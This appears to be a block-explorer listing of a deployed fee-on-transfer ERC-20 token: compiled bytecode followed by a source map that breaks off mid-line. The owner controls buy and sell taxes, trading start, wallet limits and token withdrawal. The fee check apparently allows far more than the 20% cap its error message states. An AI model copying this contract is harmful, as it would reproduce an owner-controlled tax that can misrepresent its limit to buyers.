0x608060405260043610610129575f3560e01c8063768dc710116100a8578063a9059cbb1161006d578063a9059cbb1461033f578063aeb5b9b51461035e578063cb470fde1461037d578063dd62ed3e1461039c578063e31647b6146103e0578063f2fde38b146103f5575f80fd5b8063768dc710146102cc578063893d20e8146102fa5780638a8c523c1461031657806395d89b4114610134578063a39c1c6b1461032a575f80fd5b80632f54bf6e116100ee5780632f54bf6e1461021a578063313ce5671461024757806340f663041461026257806353dea4bc1461028357806370a0823114610298575f80fd5b806306fdde0314610134578063095ea7b31461017357806318160ddd146101a25780632005ac2b146101c457806323b872dd146101fb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201825260088152672122a324aa2a22a960c11b6020820152905161016a919061157f565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046115e1565b610414565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b661042a565b60405190815260200161016a565b3480156101cf575f80fd5b506003546101e3906001600160a01b031681565b6040516001600160a01b03909116815260200161016a565b348015610206575f80fd5b5061019261021536600461160b565b61049a565b348015610225575f80fd5b50610192610234366004611649565b5f546001600160a01b0391821691161490565b348015610252575f80fd5b506040516009815260200161016a565b34801561026d575f80fd5b5061028161027c3660046115e1565b610502565b005b34801561028e575f80fd5b506101b660155481565b3480156102a3575f80fd5b506101b66102b2366004611649565b6001600160a01b03165f9081526018602052604090205490565b3480156102d7575f80fd5b506101926102e6366004611649565b60176020525f908152604090205460ff1681565b348015610305575f80fd5b505f546001600160a01b03166101e3565b348015610321575f80fd5b50610281610631565b348015610335575f80fd5b506101b660145481565b34801561034a575f80fd5b506101926103593660046115e1565b61066f565b348015610369575f80fd5b50610281610378366004611664565b61067b565b348015610388575f80fd5b506102816103973660046116ab565b610784565b3480156103a7575f80fd5b506101b66103b63660046116d4565b6001600160a01b039182165f90815260196020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b506101b660165481565b348015610400575f80fd5b5061028161040f366004611649565b6108ab565b5f610420338484610927565b5060015b92915050565b60186020527f999d26de3473317ead3eeaf34ca78057f1439db67b6953469c3c96ce9caf6bd75461dead5f9081527fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd654600154919261049592909161048f9190610a4a565b90610a4a565b905090565b5f6104a6848484610a55565b6104f784336104f2856040518060600160405280602881526020016118b2602891396001600160a01b038a165f9081526019602090815260408083203384529091529020549190610f96565b610927565b5060015b9392505050565b5f546001600160a01b031633146105345760405162461bcd60e51b815260040161052b9061170b565b60405180910390fd5b6040516370a0823160e01b81523060048201525f906105b5906064906105af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610585573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a99190611742565b90610fc1565b90610fcc565b60115460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610607573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062b9190611759565b50505050565b5f546001600160a01b0316331461065a5760405162461bcd60e51b815260040161052b9061170b565b6003805460ff60a01b1916600160a01b179055565b5f610420338484610a55565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161052b9061170b565b6009879055600a869055600c859055600b849055600d839055600e829055600f8190556010546106d5906001610fcc565b600d54111580156106f557506010546106ef906001610fcc565b600e5411155b8015610710575060105461070a906001610fcc565b600f5411155b61077b5760405162461bcd60e51b815260206004820152603660248201527f62757965727354617846656520616e642073656c6c6572735461784665652063604482015275616e6e6f74206265206d6f7265207468616e2032302560501b606482015260840161052b565b50505050505050565b5f546001600160a01b031633146107ad5760405162461bcd60e51b815260040161052b9061170b565b5f6107c96127106105af86600154610fc190919063ffffffff16565b90505f6107e76127106105af86600154610fc190919063ffffffff16565b90505f6108056127106105af86600154610fc190919063ffffffff16565b60148490556015839055601681905590505f61082a6103e86105af60056105a961042a565b905080841015801561083c5750808310155b80156108485750808210155b61077b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161052b565b5f546001600160a01b031633146108d45760405162461bcd60e51b815260040161052b9061170b565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b038381165f8181526019602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104fb828461178c565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610b1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b6001600160a01b0383165f90815260186020526040902054811115610b9c5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161052b565b6001600160a01b0383165f9081526017602052604090205460ff16158015610bdc57506001600160a01b0382165f9081526017602052604090205460ff16155b15610c2b57600354600160a01b900460ff16610c2b5760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161052b565b6001600160a01b0383165f9081526017602052604090205460ff16158015610c6b57506001600160a01b0382165f9081526017602052604090205460ff16155b8015610c8557506003546001600160a01b03838116911614155b8015610c9c57506001600160a01b03821661dead14155b15610d14576016546001600160a01b0383165f90815260186020526040902054610cc69083610fd7565b1115610d145760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161052b565b6003546001600160a01b03848116911614610db35760155481111580610d5157506001600160a01b0383165f9081526017602052604090205460ff165b80610d7357506001600160a01b0382165f9081526017602052604090205460ff165b610db35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161052b565b60145481111580610ddb57506001600160a01b0383165f9081526017602052604090205460ff165b80610dfd57506001600160a01b0382165f9081526017602052604090205460ff165b610e3d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161052b565b6003546001600160a01b038381169116148015610e7257506001600160a01b0383165f9081526017602052604090205460ff16155b15610e8f57600160045f828254610e89919061179f565b90915550505b610e9a838383610fe2565b15610eaf57610eaa60075461109a565b5f6004555b6001600160a01b0383165f90815260186020526040902054610ed19082610a4a565b6001600160a01b0384165f90815260186020908152604080832093909355601790529081205460ff1615610f055781610f10565b610f1084848461120a565b6001600160a01b0384165f90815260186020526040902054909150610f359082610fd7565b6001600160a01b038085165f8181526018602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f889085815260200190565b60405180910390a350505050565b5f8184841115610fb95760405162461bcd60e51b815260040161052b919061157f565b505050900390565b5f6104fb82846117b2565b5f6104fb82846117c9565b5f6104fb828461179f565b600854600754305f9081526018602052604081205460055491938510159211159060ff1615801561101c5750600354600160a81b900460ff165b80156110315750600354600160a01b900460ff165b801561103a5750815b801561105e57506001600160a01b0386165f9081526017602052604090205460ff16155b801561107757506003546001600160a01b038681169116145b8015611087575060065460045410155b80156110905750805b9695505050505050565b6005805460ff19166001908117909155600b54600a546009545f936110d3936002936105a99391926110cd928391610fd7565b90610fd7565b90505f6110ef826105af60095486610fc190919063ffffffff16565b90505f6110fc8483610a4a565b90504761110882611334565b5f6111134783610a4a565b90505f61113561112e60095488610a4a90919063ffffffff16565b8390610fcc565b90505f61114d60095483610fc190919063ffffffff16565b9050801561115f5761115f8682611484565b600a545f90611173906105a9856002610fc1565b905080156111b4576012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111b2573d5f803e3d5ffd5b505b4780156111f4576011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111f2573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526017602052604081205460ff161561123357506014546104fb565b5f61123e8585611535565b111561132d575f6112606112528686611535565b6010546105a9908690610fcc565b305f9081526018602052604090205490915061127c9082610fd7565b305f81815260186020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112cc9085815260200190565b60405180910390a35f600c541180156112ef5750600c546112ed8686611535565b115b1561131b5761131b3061dead611316600c546105a960105489610fcc90919063ffffffff16565b610a55565b6113258382610a4a565b9150506104fb565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611367576113676117e8565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e291906117fc565b816001815181106113f5576113f56117e8565b6001600160a01b03928316602091820292909201015260025461141b9130911684610927565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906114539085905f90869030904290600401611817565b5f604051808303815f87803b15801561146a575f80fd5b505af115801561147c573d5f803e3d5ffd5b505050505050565b60025461149c9030906001600160a01b031684610927565b60025460135460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611509573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061152e9190611886565b5050505050565b6003545f906001600160a01b03908116908316036115565750600e54610424565b6003546001600160a01b03908116908416036115755750600d54610424565b50600f5492915050565b5f6020808352835180828501525f5b818110156115aa5785810183015185820160400152820161158e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115de575f80fd5b50565b5f80604083850312156115f2575f80fd5b82356115fd816115ca565b946020939093013593505050565b5f805f6060848603121561161d575f80fd5b8335611628816115ca565b92506020840135611638816115ca565b929592945050506040919091013590565b5f60208284031215611659575f80fd5b81356104fb816115ca565b5f805f805f805f60e0888a03121561167a575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f606084860312156116bd575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156116e5575f80fd5b82356116f0816115ca565b91506020830135611700816115ca565b809150509250929050565b6020808252601c908201527f4f776e61626c653a2043616c6c6572206973206e6f74206f776e657200000000604082015260600190565b5f60208284031215611752575f80fd5b5051919050565b5f60208284031215611769575f80fd5b815180151581146104fb575f80fd5b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042457610424611778565b8082018082111561042457610424611778565b808202811582820484141761042457610424611778565b5f826117e357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561180c575f80fd5b81516104fb816115ca565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611898575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209be37441833a2368242c3875eccf0300ab44acc4b8d2aa716a357b3db375874e64736f6c63430008150033

Deployed Bytecode Sourcemap

3506:10239:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5949:67;;;;;;;;;;-1:-1:-1;6009:5:0;;;;;;;;;;;-1:-1:-1;;;6009:5:0;;;;5949:67;;;;6009:5;5949:67;:::i;:::-;;;;;;;;6717:133;;;;;;;;;;-1:-1:-1;6717:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6717:133:0;1023:187:1;6856:125:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6856:125:0;1215:177:1;3831:23:0;;;;;;;;;;-1:-1:-1;3831:23:0;;;;-1:-1:-1;;;;;3831:23:0;;;;;;-1:-1:-1;;;;;1561:32:1;;;1543:51;;1531:2;1516:18;3831:23:0;1397:203:1;11158:309:0;;;;;;;;;;-1:-1:-1;11158:309:0;;;;;:::i;:::-;;:::i;647:87::-;;;;;;;;;;-1:-1:-1;647:87:0;;;;;:::i;:::-;702:4;727:5;-1:-1:-1;;;;;716:16:0;;;727:5;;716:16;;647:87;6099:67;;;;;;;;;;-1:-1:-1;6099:67:0;;3718:1;2460:36:1;;2448:2;2433:18;6099:67:0;2318:184:1;7876:235:0;;;;;;;;;;-1:-1:-1;7876:235:0;;;;;:::i;:::-;;:::i;:::-;;4949:61;;;;;;;;;;;;;;;;6172:103;;;;;;;;;;-1:-1:-1;6172:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6255:18:0;6238:7;6255:18;;;:9;:18;;;;;;;6172:103;5085:51;;;;;;;;;;-1:-1:-1;5085:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6281:78;;;;;;;;;;-1:-1:-1;6333:7:0;6351:5;-1:-1:-1;;;;;6351:5:0;6281:78;;6510:68;;;;;;;;;;;;;:::i;4887:55::-;;;;;;;;;;;;;;;;6365:139;;;;;;;;;;-1:-1:-1;6365:139:0;;;;;:::i;:::-;;:::i;12857:538::-;;;;;;;;;;-1:-1:-1;12857:538:0;;;;;:::i;:::-;;:::i;6987:542::-;;;;;;;;;;-1:-1:-1;6987:542:0;;;;;:::i;:::-;;:::i;6584:127::-;;;;;;;;;;-1:-1:-1;6584:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6682:18:0;;;6665:7;6682:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6584:127;5017:59;;;;;;;;;;;;;;;;740:111;;;;;;;;;;-1:-1:-1;740:111:0;;;;;:::i;:::-;;:::i;6717:133::-;6792:4;6799:37;6808:10;6820:7;6829:6;6799:8;:37::i;:::-;-1:-1:-1;6844:4:0;6717:133;;;;;:::o;6856:125::-;6255:9;:18;;;;4591:42;6909:7;6255:18;;;;;6926:5;;6909:7;;6926:53;;6255:18;;6926:26;;:5;:9;:26::i;:::-;:30;;:53::i;:::-;6919:60;;6856:125;:::o;11158:309::-;11256:4;11273:36;11283:6;11291:9;11302:6;11273:9;:36::i;:::-;11320:117;11329:6;11337:10;11349:87;11385:6;11349:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11349:19:0;;;;;;:11;:19;;;;;;;;11369:10;11349:31;;;;;;;;;:87;:35;:87::i;:::-;11320:8;:117::i;:::-;-1:-1:-1;11455:4:0;11158:309;;;;;;:::o;7876:235::-;702:4;727:5;-1:-1:-1;;;;;727:5:0;592:10;716:16;576:60;;;;-1:-1:-1;;;576:60:0;;;;;;;:::i;:::-;;;;;;;;;7980:41:::1;::::0;-1:-1:-1;;;7980:41:0;;8015:4:::1;7980:41;::::0;::::1;1543:51:1::0;7962:15:0::1;::::0;7980:63:::1;::::0;8039:3:::1;::::0;7980:54:::1;::::0;8026:7;;-1:-1:-1;;;;;7980:26:0;::::1;::::0;::::1;::::0;1516:18:1;;7980:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;8080:13;::::0;8054:49:::1;::::0;-1:-1:-1;;;8054:49:0;;-1:-1:-1;;;;;8080:13:0;;::::1;8054:49;::::0;::::1;4798:51:1::0;4865:18;;;4858:34;;;7962:81:0;;-1:-1:-1;8054:25:0;::::1;::::0;::::1;::::0;4771:18:1;;8054:49:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7951:160;7876:235:::0;;:::o;6510:68::-;702:4;727:5;-1:-1:-1;;;;;727:5:0;592:10;716:16;576:60;;;;-1:-1:-1;;;576:60:0;;;;;;;:::i;:::-;6555:14:::1;:21:::0;;-1:-1:-1;;;;6555:21:0::1;-1:-1:-1::0;;;6555:21:0::1;::::0;;6510:68::o;6365:139::-;6443:4;6450:40;6460:10;6472:9;6483:6;6450:9;:40::i;12857:538::-;702:4;727:5;-1:-1:-1;;;;;727:5:0;592:10;716:16;576:60;;;;-1:-1:-1;;;576:60:0;;;;;;;:::i;:::-;13027:9:::1;:22:::0;;;13051:15:::1;:28:::0;;;13081:10:::1;:18:::0;;;13101:9:::1;:24:::0;;;13127:12:::1;:21:::0;;;13150:13:::1;:21:::0;;;13173:14:::1;:23:::0;;;13231:11:::1;::::0;:18:::1;::::0;-1:-1:-1;13231:15:0::1;:18::i;:::-;13215:12;;:34;;:73;;;;-1:-1:-1::0;13270:11:0::1;::::0;:18:::1;::::0;13286:1:::1;13270:15;:18::i;:::-;13253:13;;:35;;13215:73;:113;;;;-1:-1:-1::0;13310:11:0::1;::::0;:18:::1;::::0;13326:1:::1;13310:15;:18::i;:::-;13292:14;;:36;;13215:113;13207:180;;;::::0;-1:-1:-1;;;13207:180:0;;5387:2:1;13207:180:0::1;::::0;::::1;5369:21:1::0;5426:2;5406:18;;;5399:30;5465:34;5445:18;;;5438:62;-1:-1:-1;;;5516:18:1;;;5509:52;5578:19;;13207:180:0::1;5185:418:1::0;13207:180:0::1;12857:538:::0;;;;;;;:::o;6987:542::-;702:4;727:5;-1:-1:-1;;;;;727:5:0;592:10;716:16;576:60;;;;-1:-1:-1;;;576:60:0;;;;;;;:::i;:::-;7089:13:::1;7105:26;7125:5;7105:15;7115:4;7105:5;;:9;;:15;;;;:::i;:26::-;7089:42;;7133:19;7155:27;7176:5;7155:16;7165:5;7155;;:9;;:16;;;;:::i;:27::-;7133:49;;7184:17;7204:29;7227:5;7204:18;7214:7;7204:5;;:9;;:18;;;;:::i;:29::-;7244:14;:22:::0;;;7268:20:::1;:34:::0;;;7304:18:::1;:30:::0;;;7184:49;-1:-1:-1;;7361:30:0::1;7386:4;7361:20;7379:1;7361:13;:11;:13::i;:30::-;7345:46;;7419:5;7410;:14;;:38;;;;;7443:5;7428:11;:20;;7410:38;:60;;;;;7465:5;7452:9;:18;;7410:60;7402:119;;;::::0;-1:-1:-1;;;7402:119:0;;5810:2:1;7402:119:0::1;::::0;::::1;5792:21:1::0;5849:2;5829:18;;;5822:30;5888:34;5868:18;;;5861:62;-1:-1:-1;;;5939:18:1;;;5932:44;5993:19;;7402:119:0::1;5608:410:1::0;740:111:0;702:4;727:5;-1:-1:-1;;;;;727:5:0;592:10;716:16;576:60;;;;-1:-1:-1;;;576:60:0;;;;;;;:::i;:::-;806:5:::1;:11:::0;;-1:-1:-1;;;;;;806:11:0::1;-1:-1:-1::0;;;;;806:11:0;::::1;::::0;;::::1;::::0;;;824:25:::1;::::0;1543:51:1;;;824:25:0::1;::::0;1531:2:1;1516:18;824:25:0::1;;;;;;;740:111:::0;:::o;7535:335::-;-1:-1:-1;;;;;7628:19:0;;7620:68;;;;-1:-1:-1;;;7620:68:0;;6441:2:1;7620:68:0;;;6423:21:1;6480:2;6460:18;;;6453:30;6519:34;6499:18;;;6492:62;-1:-1:-1;;;6570:18:1;;;6563:34;6614:19;;7620:68:0;6239:400:1;7620:68:0;-1:-1:-1;;;;;7707:21:0;;7699:68;;;;-1:-1:-1;;;7699:68:0;;6846:2:1;7699:68:0;;;6828:21:1;6885:2;6865:18;;;6858:30;6924:34;6904:18;;;6897:62;-1:-1:-1;;;6975:18:1;;;6968:32;7017:19;;7699:68:0;6644:398:1;7699:68:0;-1:-1:-1;;;;;7778:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7830:32;;1361:25:1;;;7830:32:0;;1334:18:1;7830:32:0;;;;;;;7535:335;;;:::o;1032:98::-;1090:7;1117:5;1121:1;1117;:5;:::i;9611:1541::-;-1:-1:-1;;;;;9708:20:0;;9700:70;;;;-1:-1:-1;;;9700:70:0;;7514:2:1;9700:70:0;;;7496:21:1;7553:2;7533:18;;;7526:30;7592:34;7572:18;;;7565:62;-1:-1:-1;;;7643:18:1;;;7636:35;7688:19;;9700:70:0;7312:401:1;9700:70:0;-1:-1:-1;;;;;9789:23:0;;9781:71;;;;-1:-1:-1;;;9781:71:0;;7920:2:1;9781:71:0;;;7902:21:1;7959:2;7939:18;;;7932:30;7998:34;7978:18;;;7971:62;-1:-1:-1;;;8049:18:1;;;8042:33;8092:19;;9781:71:0;7718:399:1;9781:71:0;-1:-1:-1;;;;;6255:18:0;;6238:7;6255:18;;;:9;:18;;;;;;9871:6;:27;;9863:88;;;;-1:-1:-1;;;9863:88:0;;8324:2:1;9863:88:0;;;8306:21:1;8363:2;8343:18;;;8336:30;8402:34;8382:18;;;8375:62;-1:-1:-1;;;8453:18:1;;;8446:47;8510:19;;9863:88:0;8122:413:1;9863:88:0;-1:-1:-1;;;;;9966:26:0;;;;;;:18;:26;;;;;;;;9965:27;:61;;;;-1:-1:-1;;;;;;9997:29:0;;;;;;:18;:29;;;;;;;;9996:30;9965:61;9962:109;;;10036:14;;-1:-1:-1;;;10036:14:0;;;;10028:41;;;;-1:-1:-1;;;10028:41:0;;8742:2:1;10028:41:0;;;8724:21:1;8781:2;8761:18;;;8754:30;-1:-1:-1;;;8800:18:1;;;8793:44;8854:18;;10028:41:0;8540:338:1;10028:41:0;-1:-1:-1;;;;;10085:26:0;;;;;;:18;:26;;;;;;;;10084:27;:61;;;;-1:-1:-1;;;;;;10116:29:0;;;;;;:18;:29;;;;;;;;10115:30;10084:61;:95;;;;-1:-1:-1;10170:8:0;;-1:-1:-1;;;;;10149:30:0;;;10170:8;;10149:30;;10084:95;:125;;;;-1:-1:-1;;;;;;10183:26:0;;4591:42;10183:26;;10084:125;10081:241;;;10267:18;;-1:-1:-1;;;;;10230:20:0;;;;;;:9;:20;;;;;;:32;;10255:6;10230:24;:32::i;:::-;10229:56;;10221:99;;;;-1:-1:-1;;;10221:99:0;;9085:2:1;10221:99:0;;;9067:21:1;9124:2;9104:18;;;9097:30;9163:32;9143:18;;;9136:60;9213:18;;10221:99:0;8883:354:1;10221:99:0;10345:8;;-1:-1:-1;;;;;10335:18:0;;;10345:8;;10335:18;10332:148;;10373:20;;10363:6;:30;;:60;;;-1:-1:-1;;;;;;10397:26:0;;;;;;:18;:26;;;;;;;;10363:60;:93;;;-1:-1:-1;;;;;;10427:29:0;;;;;;:18;:29;;;;;;;;10363:93;10355:123;;;;-1:-1:-1;;;10355:123:0;;9444:2:1;10355:123:0;;;9426:21:1;9483:2;9463:18;;;9456:30;-1:-1:-1;;;9502:18:1;;;9495:47;9559:18;;10355:123:0;9242:341:1;10355:123:0;10508:14;;10498:6;:24;;:54;;;-1:-1:-1;;;;;;10526:26:0;;;;;;:18;:26;;;;;;;;10498:54;:87;;;-1:-1:-1;;;;;;10556:29:0;;;;;;:18;:29;;;;;;;;10498:87;10490:117;;;;-1:-1:-1;;;10490:117:0;;9444:2:1;10490:117:0;;;9426:21:1;9483:2;9463:18;;;9456:30;-1:-1:-1;;;9502:18:1;;;9495:47;9559:18;;10490:117:0;9242:341:1;10490:117:0;10635:8;;-1:-1:-1;;;;;10622:21:0;;;10635:8;;10622:21;:52;;;;-1:-1:-1;;;;;;10648:26:0;;;;;;:18;:26;;;;;;;;10647:27;10622:52;10619:89;;;10704:1;10676:16;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;10619:89:0;10721:42;10737:6;10745:9;10756:6;10721:15;:42::i;:::-;10718:114;;;10765:34;10783:15;;10765:17;:34::i;:::-;10828:1;10801:16;:29;10718:114;-1:-1:-1;;;;;10862:17:0;;;;;;:9;:17;;;;;;:29;;10884:6;10862:21;:29::i;:::-;-1:-1:-1;;;;;10842:17:0;;;;;;:9;:17;;;;;;;;:49;;;;10928:18;:26;;;;;;;;10927:27;:84;;11005:6;10927:84;;;10957:45;10976:6;10984:9;10995:6;10957:18;:45::i;:::-;-1:-1:-1;;;;;11045:20:0;;;;;;:9;:20;;;;;;10902:109;;-1:-1:-1;11045:40:0;;10902:109;11045:24;:40::i;:::-;-1:-1:-1;;;;;11022:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11101:43;;;;;;;;;;11129:14;1361:25:1;;1349:2;1334:18;;1215:177;11101:43:0;;;;;;;;9689:1463;9611:1541;;;:::o;1344:240::-;1464:7;1525:12;1517:6;;;;1509:29;;;;-1:-1:-1;;;1509:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1560:5:0;;;1344:240::o;1136:98::-;1194:7;1221:5;1225:1;1221;:5;:::i;1240:98::-;1298:7;1325:5;1329:1;1325;:5;:::i;928:98::-;986:7;1013:5;1017:1;1013;:5;:::i;12420:431::-;12562:15;;12638;;12628:4;12519;6255:18;;;:9;:18;;;;;;12672:10;;12519:4;;12552:25;;;;-1:-1:-1;12610:43:0;;12672:10;;12671:11;:28;;;;-1:-1:-1;12686:13:0;;-1:-1:-1;;;12686:13:0;;;;12671:28;:46;;;;-1:-1:-1;12703:14:0;;-1:-1:-1;;;12703:14:0;;;;12671:46;:58;;;;;12721:8;12671:58;:89;;;;-1:-1:-1;;;;;;12734:26:0;;;;;;:18;:26;;;;;;;;12733:27;12671:89;:114;;;;-1:-1:-1;12777:8:0;;-1:-1:-1;;;;;12764:21:0;;;12777:8;;12764:21;12671:114;:154;;;;;12809:16;;12789;;:36;;12671:154;:172;;;;;12829:14;12671:172;12664:179;12420:431;-1:-1:-1;;;;;;12420:431:0:o;8117:1043::-;4186:10;:17;;-1:-1:-1;;4186:17:0;4199:4;4186:17;;;;;;8256:9:::1;::::0;8235:15:::1;::::0;8214:9:::1;::::0;4186:10;;8213:61:::1;::::0;8272:1:::1;::::0;8214:52:::1;::::0;8256:9;;8214:37:::1;::::0;;;:13:::1;:16::i;:::-;:20:::0;::::1;:37::i;8213:61::-;8190:84;;8285:32;8320:39;8346:12;8320:21;8331:9;;8320:6;:10;;:21;;;;:::i;:39::-;8285:74:::0;-1:-1:-1;8370:14:0::1;8387:36;:6:::0;8285:74;8387:10:::1;:36::i;:::-;8370:53:::0;-1:-1:-1;8459:21:0::1;8491:26;8370:53:::0;8491:18:::1;:26::i;:::-;8528:20;8551:41;:21;8577:14:::0;8551:25:::1;:41::i;:::-;8528:64;;8603:19;8624:45;8641:27;8658:9;;8641:12;:16;;:27;;;;:::i;:::-;8624:12:::0;;:16:::1;:45::i;:::-;8603:66;;8680:29;8712:26;8728:9;;8712:11;:15;;:26;;;;:::i;:::-;8680:58:::0;-1:-1:-1;8752:34:0;;8749:103:::1;;8788:61;8801:24;8827:21;8788:12;:61::i;:::-;8908:15;::::0;8862:20:::1;::::0;8885:39:::1;::::0;:18:::1;:11:::0;8901:1:::1;8885:15;:18::i;:39::-;8862:62:::0;-1:-1:-1;8938:16:0;;8935:67:::1;;8964:12;::::0;8956:44:::1;::::0;-1:-1:-1;;;;;8964:12:0;;::::1;::::0;8956:44;::::1;;;::::0;8987:12;;8964::::1;8956:44:::0;8964:12;8956:44;8987:12;8964;8956:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8935:67;9038:21;9073:28:::0;;9070:83:::1;;9111:13;::::0;9103:48:::1;::::0;-1:-1:-1;;;;;9111:13:0;;::::1;::::0;9103:48;::::1;;;::::0;9135:15;;9111:13:::1;9103:48:::0;9111:13;9103:48;9135:15;9111:13;9103:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9070:83;-1:-1:-1::0;;4208:10:0;:18;;-1:-1:-1;;4208:18:0;;;-1:-1:-1;;;;;;;;8117:1043:0:o;11723:691::-;-1:-1:-1;;;;;11844:29:0;;11820:7;11844:29;;;:18;:29;;;;;;;;11840:59;;;-1:-1:-1;11883:14:0;;11876:21;;11840:59;11949:1;11912:34;11928:6;11936:9;11912:15;:34::i;:::-;:38;11909:483;;;11962:17;11982:63;12010:34;12026:6;12034:9;12010:15;:34::i;:::-;11993:11;;11982:23;;:6;;:10;:23::i;:63::-;12101:4;12083:24;;;;:9;:24;;;;;;11962:83;;-1:-1:-1;12083:39:0;;11962:83;12083:28;:39::i;:::-;12074:4;12056:24;;;;:9;:24;;;;;;;:66;;;;12138:42;;-1:-1:-1;;;;;12138:42:0;;;;;;;12170:9;1361:25:1;;1349:2;1334:18;;1215:177;12138:42:0;;;;;;;;12215:1;12194:10;;:23;:74;;;;;12258:10;;12221:34;12237:6;12245:9;12221:15;:34::i;:::-;:47;12194:74;12191:161;;;12270:80;12288:4;4591:42;12310:39;12338:10;;12310:23;12321:11;;12310:6;:10;;:23;;;;:::i;:39::-;12270:9;:80::i;:::-;12369:21;:6;12380:9;12369:10;:21::i;:::-;12362:28;;;;;11909:483;-1:-1:-1;12400:6:0;11723:691;-1:-1:-1;;11723:691:0:o;9166:439::-;9258:16;;;9272:1;9258:16;;;;;;;;9234:21;;9258:16;;;;;;;;;;-1:-1:-1;9258:16:0;9234:40;;9303:4;9285;9290:1;9285:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9285:23:0;;;:7;;;;;;;;;;:23;;;;9329:7;;:14;;;-1:-1:-1;;;9329:14:0;;;;:7;;;;;:12;;:14;;;;;9285:7;;9329:14;;;;;:7;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9319:4;9324:1;